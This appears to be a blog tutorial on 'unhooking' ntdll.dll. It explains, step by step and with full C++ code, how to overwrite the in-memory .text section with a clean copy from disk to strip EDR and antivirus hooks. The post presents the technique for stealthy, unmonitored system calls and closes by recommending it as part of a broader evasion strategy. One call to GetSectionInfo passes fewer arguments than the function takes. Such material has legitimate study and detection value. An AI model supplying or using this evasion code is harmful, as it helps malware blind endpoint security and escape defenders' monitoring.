Unhooking NTDLL

15 min read
ProgrammingWindowsmalware

unhooks the in-memory ntdll.dll by restoring its .text section with a clean version from disk to remove user-mode hooks placed by EDRs or antivirus software.

Featured image

Why Unhook?

Modern Endpoint Detection and Response (EDR) solutions often rely on inline hooking within user-mode DLLs, mainly ntdll.dll, to detect and block suspicious or malicious activity. These hooks let EDRs intercept sensitive system calls like NtOpenProcess, NtCreateThreadEx, and NtAllocateVirtualMemory.

How Hooks Work

When a process starts, the system loads ntdll.dll into its memory. EDRs often modify specific instructions in the .text section of this DLL. For example, instead of letting the original syscall instruction run directly, an EDR may replace the function prologue with a jump or call to its own monitoring routines. This redirection enables them to log, block, or alter the behavior of the call.

Why This Is a Problem

For red teamers, malware authors, or even developers who need clean access to system calls, these hooks create barriers. Any indirect or direct system call might be intercepted, logged, or blocked by the EDR, making stealth operations and legitimate debugging more difficult.

The Solution: Unhooking

To get around these user-mode hooks, one common technique is unhooking. This usually involves:

- Loading a clean copy of ntdll.dll from disk (not the possibly hooked one in memory).
- Extracting the .text section from the clean copy.
- Overwriting the .text section in memory with the clean one.

This effectively restores the original system call stubs (mov r10, rcx; mov eax, syscall_number; syscall) and removes the user-mode redirection set up by EDR.

How the Technique Works

1. Load the Clean ntdll.dll from Disk

Use low-level file I/O functions like CreateFile, ReadFile, or NtCreateFile to open and read the file located at: C:\Windows\System32\ntdll.dll

Do not use LoadLibrary, as it will load the already hooked version present in memory.
Reading the file manually gives you a clean, untouched copy of ntdll.dll.

Goal: Get access to the raw, unmodified bytes of ntdll.dll.

2. Parse the PE Headers (In-Memory and On-Disk)

You now have two versions of ntdll.dll:

  • The hooked, in-memory version (already loaded in your process)
  • The clean, on-disk version (the one you just read)

Parse both using the PE header structures:

  • IMAGE_DOS_HEADER
  • IMAGE_NT_HEADERS
  • IMAGE_SECTION_HEADER

These structures will help you locate important sections, especially .text.

Goal: Find the offset, virtual address, and size of the .text section in both versions.

3. Locate the .text Section

The .text section contains executable code, including syscall stubs like NtOpenProcess.

From the PE headers, locate:

  • VirtualAddress: Start of the .text section in memory
  • SizeOfRawData or Misc.VirtualSize: Length of the .text section

You need these values from both versions of ntdll.dll so you can accurately copy the clean code over the hooked one.

Goal: Identify exactly which memory region should be overwritten.

4. Make .text Memory Writable

By default, the .text section is marked read-execute (RX) to prevent modification.
Use one of the following APIs to change its protection to read-write-execute (RWX):

  • VirtualProtect
  • NtProtectVirtualMemory

Pass the .text region address and size to these functions.

Goal: Temporarily allow writing to the .text section of the hooked ntdll.dll.

5. Overwrite the Hooked Memory with the Clean Bytes

With write access enabled, copy the .text section bytes from the clean file into the memory region of the loaded ntdll.dll.

This removes any inline hooks (e.g., JMP instructions) placed by EDR and restores the original syscall stubs.

Each syscall stub typically looks like this:

1mov r10, rcx          ; move first parameter to R10 (required for syscall)
2mov eax, <syscall_id> ; load syscall ID
3syscall               ; switch to kernel mode
4

Explanation:

  • mov r10, rcx: Required by the syscall convention; syscall expects R10 instead of RCX.
  • mov eax, <syscall_id>: Specifies the kernel function to invoke.
  • syscall: Performs the actual transition from user mode to kernel mode.

Goal: Replace the hooked stubs with the original system call code to bypass EDR monitoring.

6. Restore Original Memory Protections

Once the clean .text section is copied into memory, restore the original memory protection (RX) using the same API:

  • VirtualProtect
  • NtProtectVirtualMemory

This avoids detection based on suspicious memory permissions (e.g., RWX) and returns the process to a normal state.

Goal: Finalize the patch and avoid triggering EDR based on modified memory protections.

Code

get the code from here.

This function returns the full path to ntdll.dll inside the System32 directory.

It works by:

  1. Using GetSystemDirectoryW to get the system directory path (e.g., C:\Windows\System32).
  2. Appending \ntdll.dll to it.
  3. Returning the result as a std::wstring.
1
2wstring GetSystemDirectoryPath()
3{
4    wchar_t systemDir[MAX_PATH];
5    GetSystemDirectoryW(systemDir, MAX_PATH);
6    return wstring(systemDir) + L"\\ntdll.dll";
7}
8

This function reads the raw bytes of the clean ntdll.dll from disk and returns them as a vector<BYTE>.

It works by:

  1. Getting the full path to ntdll.dll using GetSystemDirectoryPath.
  2. Opening the file with CreateFileW in read-only mode.
  3. Getting the file size with GetFileSize.
  4. Allocating a byte buffer of that size.
  5. Reading the file contents into the buffer using ReadFile.
  6. Closing the file handle and returning the buffer.

If any step fails, it logs the error and returns an empty vector.

1
2vector<BYTE> LoadCleanNtdll()
3{
4    wstring path = GetSystemDirectoryPath();
5
6    HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL,
7                               OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
8    if (hFile == INVALID_HANDLE_VALUE)
9    {
10        cerr << "[-] Failed to open file: " << GetLastError() << endl;
11        return {};
12    }
13
14    DWORD fileSize = GetFileSize(hFile, NULL);
15    if (fileSize == INVALID_FILE_SIZE)
16    {
17        cerr << "[-] Failed to get file size: " << GetLastError() << endl;
18        CloseHandle(hFile);
19        return {};
20    }
21
22    vector<BYTE> buffer(fileSize);
23    DWORD bytesRead;
24    if (!ReadFile(hFile, buffer.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize)
25    {
26        cerr << "[-] Failed to read file: " << GetLastError() << endl;
27        CloseHandle(hFile);
28        return {};
29    }
30
31    CloseHandle(hFile);
32    return buffer;
33}

returns the offset and size of a specific section (e.g., .text) in a PE file.

It works by:

  1. Interpreting the base pointer as a DOS header and validating its signature.
  2. Locating and validating the NT headers using the e_lfanew offset.
  3. Iterating through all section headers using IMAGE_FIRST_SECTION.
  4. Comparing each section's name with the provided sectionName.
  5. If matched:
    • Returns the section’s offset (VirtualAddress if the module is loaded, PointerToRawData if from disk).
    • Returns the section’s size (SizeOfRawData).

If the section is not found or headers are invalid, it logs an error and returns {0, 0}.

1pair<DWORD, DWORD> GetSectionInfo(BYTE *base, const char *sectionName, bool isLoadedModule)
2{
3    PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
4    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
5    {
6        cerr << "[-] Invalid DOS signature" << endl;
7        return {0, 0};
8    }
9
10    PIMAGE_NT_HEADERS ntHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dosHeader->e_lfanew);
11    if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
12    {
13        cerr << "[-] Invalid NT signature" << endl;
14        return {0, 0};
15    }
16
17    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeader);
18    for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; ++i, ++section)
19    {
20        char name[9] = {0};
21        strncpy_s(name, (char *)section->Name, 8);
22        if (strcmp(name, sectionName) == 0)
23        {
24            DWORD offset = isLoadedModule ? section->VirtualAddress : section->PointerToRawData;
25            DWORD size = section->SizeOfRawData;
26            return {offset, size};
27        }
28    }
29
30    cerr << "[-] Section '" << sectionName << "' not found" << endl;
31    return {0, 0};
32}

unhooks ntdll.dll in memory by restoring its original .text section using a clean copy from disk.

It works by:

  1. Getting the in-memory handle to ntdll.dll using GetModuleHandleW.
  2. Locating the .text section inside the loaded ntdll.dll using GetSectionInfo.
  3. Loading the clean ntdll.dll from disk into a buffer using LoadCleanNtdll.
  4. Parsing the .text section from the clean buffer.
  5. Verifying that the sizes of the .text sections (memory vs disk) match and are within bounds.
  6. Changing memory protection of the loaded .text section to PAGE_EXECUTE_READWRITE using VirtualProtect.
  7. Overwriting the hooked .text section in memory with the clean one using memcpy.
  8. Flushing the CPU instruction cache with FlushInstructionCache to ensure the new code is used.
  9. Restoring the original memory protection with another call to VirtualProtect.

Returns true if unhooking succeeds, otherwise logs an error and returns false.

1
2bool UnhookNtdll()
3{
4    cout << "[+] Unhooking ntdll.dll..." << endl;
5
6    // Get in-memory ntdll
7    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
8    if (!hNtdll)
9    {
10        cerr << "[-] Failed to get ntdll handle: " << GetLastError() << endl;
11        return false;
12    }
13
14    // Get .text section info from memory module
15    auto [loadedOffset, loadedSize] = GetSectionInfo((BYTE *)hNtdll, ".text");
16    if (!loadedOffset || !loadedSize)
17    {
18        cerr << "[-] Failed to find .text section in memory" << endl;
19        return false;
20    }
21    BYTE *loadedTextBase = (BYTE *)hNtdll + loadedOffset;
22    cout << "[+] Memory .text section: " << static_cast<void *>(loadedTextBase)
23         << " | Size: 0x" << hex << loadedSize << dec << endl;
24
25    // Load clean ntdll from disk
26    vector<BYTE> cleanNtdll = LoadCleanNtdll();
27    if (cleanNtdll.empty())
28        return false;
29
30    // Get .text section info from disk image
31    auto [cleanOffset, cleanSize] = GetSectionInfo(cleanNtdll.data(), ".text", false);
32    if (!cleanOffset || !cleanSize)
33    {
34        cerr << "[-] Failed to find .text section in disk image" << endl;
35        return false;
36    }
37
38    // Validate section sizes match
39    if (loadedSize != cleanSize)
40    {
41        cerr << "[-] Size mismatch: memory=0x" << hex << loadedSize
42             << " disk=0x" << cleanSize << dec << endl;
43        return false;
44    }
45
46    // Validate disk section bounds
47    if (cleanOffset + cleanSize > cleanNtdll.size())
48    {
49        cerr << "[-] Clean section exceeds file bounds" << endl;
50        return false;
51    }
52
53    BYTE *cleanTextBase = cleanNtdll.data() + cleanOffset;
54    cout << "[+] Disk .text section: " << static_cast<void *>(cleanTextBase)
55         << " | Size: 0x" << hex << cleanSize << dec << endl;
56
57    // Change memory protection
58    DWORD oldProtect;
59    if (!VirtualProtect(loadedTextBase, loadedSize, PAGE_EXECUTE_READWRITE, &oldProtect))
60    {
61        cerr << "[-] VirtualProtect failed: " << GetLastError() << endl;
62        return false;
63    }
64    cout << "[+] Memory protection changed to RWX" << endl;
65
66    // Restore original code
67    memcpy(loadedTextBase, cleanTextBase, loadedSize);
68    cout << "[+] .text section restored" << endl;
69
70    // Flush instruction cache
71    if (!FlushInstructionCache(GetCurrentProcess(), loadedTextBase, loadedSize))
72    {
73        cerr << "[-] FlushInstructionCache failed: " << GetLastError() << endl;
74        return false;
75    }
76
77    // Restore original protection
78    DWORD temp;
79    if (!VirtualProtect(loadedTextBase, loadedSize, oldProtect, &temp))
80    {
81        cerr << "[-] Failed to restore protection: " << GetLastError() << endl;
82        return false;
83    }
84    cout << "[+] Protection restored" << endl;
85
86    cout << "[+] Unhooking successful!" << endl;
87    return true;
88}
89

Conclusion

Unhooking ntdll.dll by restoring its .text section with a clean copy from disk is an effective technique to bypass user-mode inline hooks commonly used by EDRs. It restores the original syscall stubs, allowing direct, unmonitored system calls.

However, this method has limitations. It does not bypass kernel-level hooks, ETW, or AMSI, and can still raise red flags due to memory protection changes. Advanced EDRs that rely on SSDT hooking or API emulation may still detect malicious behavior.

Use this technique as one part of a broader evasion strategy not a standalone solution.